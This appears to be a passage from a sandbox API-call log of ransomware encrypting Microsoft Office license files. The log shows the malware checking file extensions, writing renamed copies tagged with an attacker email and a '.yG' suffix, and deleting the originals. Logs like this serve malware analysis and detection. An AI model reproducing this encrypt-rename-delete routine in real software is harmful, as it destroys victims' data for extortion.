	[0175.975] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0175.975] lstrlenW (lpString=".zip") returned 4
	[0175.975] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.976] lstrlenW (lpString=".rar") returned 4
	[0175.976] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.976] lstrlenW (lpString=".bz2") returned 4
	[0175.976] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.976] lstrlenW (lpString=".7z") returned 3
	[0175.976] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0175.976] lstrlenW (lpString=".dbf") returned 4
	[0175.976] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0175.976] lstrlenW (lpString=".1cd") returned 4
	[0175.976] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90
	[0175.976] lstrlenW (lpString=".jpg") returned 4
	[0175.976] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.977] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=24369) returned 1
	[0175.977] CloseHandle (hObject=0x29c) returned 1
	[0175.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms")) returned 0x220
	[0175.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0175.978] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.978] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0175.980] GetLastError () returned 0x0
	[0175.980] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x5f31, lpOverlapped=0x0) returned 1
	[0176.000] WriteFile (in: hFile=0x55c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x5f40, lpOverlapped=0x0) returned 1
	[0176.001] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.001] WriteFile (in: hFile=0x55c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x116, lpOverlapped=0x0) returned 1
	[0176.002] SetEndOfFile (hFile=0x55c) returned 1
	[0176.002] CloseHandle (hObject=0x55c) returned 1
	[0176.002] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.002] SetEndOfFile (hFile=0x29c) returned 1
	[0176.005] CloseHandle (hObject=0x29c) returned 1
	[0176.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.006] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms")) returned 1
	[0176.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0176.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0176.007] lstrlenW (lpString=".doc") returned 4
	[0176.007] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.007] lstrlenW (lpString=".docx") returned 5
	[0176.007] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.007] lstrlenW (lpString=".pdf") returned 4
	[0176.008] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.008] lstrlenW (lpString=".xls") returned 4
	[0176.008] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.008] lstrlenW (lpString=".xlsx") returned 5
	[0176.008] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.008] lstrlenW (lpString=".ppt") returned 4
	[0176.008] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0176.008] lstrlenW (lpString=".zip") returned 4
	[0176.008] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.008] lstrlenW (lpString=".rar") returned 4
	[0176.008] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.008] lstrlenW (lpString=".bz2") returned 4
	[0176.008] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.008] lstrlenW (lpString=".7z") returned 3
	[0176.008] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0176.008] lstrlenW (lpString=".dbf") returned 4
	[0176.008] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0176.008] lstrlenW (lpString=".1cd") returned 4
	[0176.008] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83
	[0176.008] lstrlenW (lpString=".jpg") returned 4
	[0176.008] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.009] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11630) returned 1
	[0176.009] CloseHandle (hObject=0x29c) returned 1
	[0176.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms")) returned 0x220
	[0176.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0176.010] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.011] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0176.012] GetLastError () returned 0x0
	[0176.012] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0176.163] WriteFile (in: hFile=0x55c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0176.165] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.165] WriteFile (in: hFile=0x55c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x11c, lpOverlapped=0x0) returned 1
	[0176.166] SetEndOfFile (hFile=0x55c) returned 1
	[0176.166] CloseHandle (hObject=0x55c) returned 1
	[0176.166] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.166] SetEndOfFile (hFile=0x29c) returned 1
	[0176.331] CloseHandle (hObject=0x29c) returned 1
	[0176.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.337] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms")) returned 1
	[0176.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0176.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0176.338] lstrlenW (lpString=".doc") returned 4
	[0176.338] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.338] lstrlenW (lpString=".docx") returned 5
	[0176.338] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.338] lstrlenW (lpString=".pdf") returned 4
	[0176.338] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.338] lstrlenW (lpString=".xls") returned 4
	[0176.338] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.338] lstrlenW (lpString=".xlsx") returned 5
	[0176.338] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.338] lstrlenW (lpString=".ppt") returned 4
	[0176.338] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0176.338] lstrlenW (lpString=".zip") returned 4
	[0176.338] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.338] lstrlenW (lpString=".rar") returned 4
	[0176.338] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.338] lstrlenW (lpString=".bz2") returned 4
	[0176.338] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.338] lstrlenW (lpString=".7z") returned 3
	[0176.338] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0176.339] lstrlenW (lpString=".dbf") returned 4
	[0176.339] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0176.339] lstrlenW (lpString=".1cd") returned 4
	[0176.339] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0176.339] lstrlenW (lpString=".jpg") returned 4
	[0176.339] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.339] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11179) returned 1
	[0176.340] CloseHandle (hObject=0x29c) returned 1
	[0176.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms")) returned 0x220
	[0176.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0176.341] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.341] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0176.343] GetLastError () returned 0x0
	[0176.343] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0176.345] WriteFile (in: hFile=0x530, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0176.346] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.346] WriteFile (in: hFile=0x530, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x114, lpOverlapped=0x0) returned 1
	[0176.347] SetEndOfFile (hFile=0x530) returned 1
	[0176.347] CloseHandle (hObject=0x530) returned 1
	[0176.347] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.347] SetEndOfFile (hFile=0x29c) returned 1
	[0176.350] CloseHandle (hObject=0x29c) returned 1
	[0176.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms")) returned 1
	[0176.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0176.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0176.352] lstrlenW (lpString=".doc") returned 4
	[0176.352] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.352] lstrlenW (lpString=".docx") returned 5
	[0176.352] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.352] lstrlenW (lpString=".pdf") returned 4
	[0176.352] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.352] lstrlenW (lpString=".xls") returned 4
	[0176.353] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.353] lstrlenW (lpString=".xlsx") returned 5
	[0176.353] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.353] lstrlenW (lpString=".ppt") returned 4
	[0176.353] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0176.353] lstrlenW (lpString=".zip") returned 4
	[0176.353] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.353] lstrlenW (lpString=".rar") returned 4
	[0176.353] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.353] lstrlenW (lpString=".bz2") returned 4
	[0176.353] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.353] lstrlenW (lpString=".7z") returned 3
	[0176.353] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0176.353] lstrlenW (lpString=".dbf") returned 4
	[0176.353] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0176.353] lstrlenW (lpString=".1cd") returned 4
	[0176.353] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0176.353] lstrlenW (lpString=".jpg") returned 4
	[0176.353] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.354] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=24369) returned 1
	[0176.354] CloseHandle (hObject=0x29c) returned 1
	[0176.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms")) returned 0x220
	[0176.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0176.356] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.356] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0176.357] GetLastError () returned 0x0
	[0176.357] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x5f31, lpOverlapped=0x0) returned 1
	[0176.382] WriteFile (in: hFile=0x530, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x5f40, lpOverlapped=0x0) returned 1
	[0176.384] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.384] WriteFile (in: hFile=0x530, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x116, lpOverlapped=0x0) returned 1
	[0176.384] SetEndOfFile (hFile=0x530) returned 1
	[0176.388] CloseHandle (hObject=0x530) returned 1
	[0176.425] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.426] SetEndOfFile (hFile=0x29c) returned 1
	[0176.521] CloseHandle (hObject=0x29c) returned 1
	[0176.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms")) returned 1
	[0176.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0176.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0176.522] lstrlenW (lpString=".doc") returned 4
	[0176.522] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.523] lstrlenW (lpString=".docx") returned 5
	[0176.523] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.523] lstrlenW (lpString=".pdf") returned 4
	[0176.523] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.523] lstrlenW (lpString=".xls") returned 4
	[0176.523] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.523] lstrlenW (lpString=".xlsx") returned 5
	[0176.523] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.523] lstrlenW (lpString=".ppt") returned 4
	[0176.523] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0176.523] lstrlenW (lpString=".zip") returned 4
	[0176.523] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.523] lstrlenW (lpString=".rar") returned 4
	[0176.523] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.523] lstrlenW (lpString=".bz2") returned 4
	[0176.523] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.523] lstrlenW (lpString=".7z") returned 3
	[0176.523] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0176.523] lstrlenW (lpString=".dbf") returned 4
	[0176.523] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0176.523] lstrlenW (lpString=".1cd") returned 4
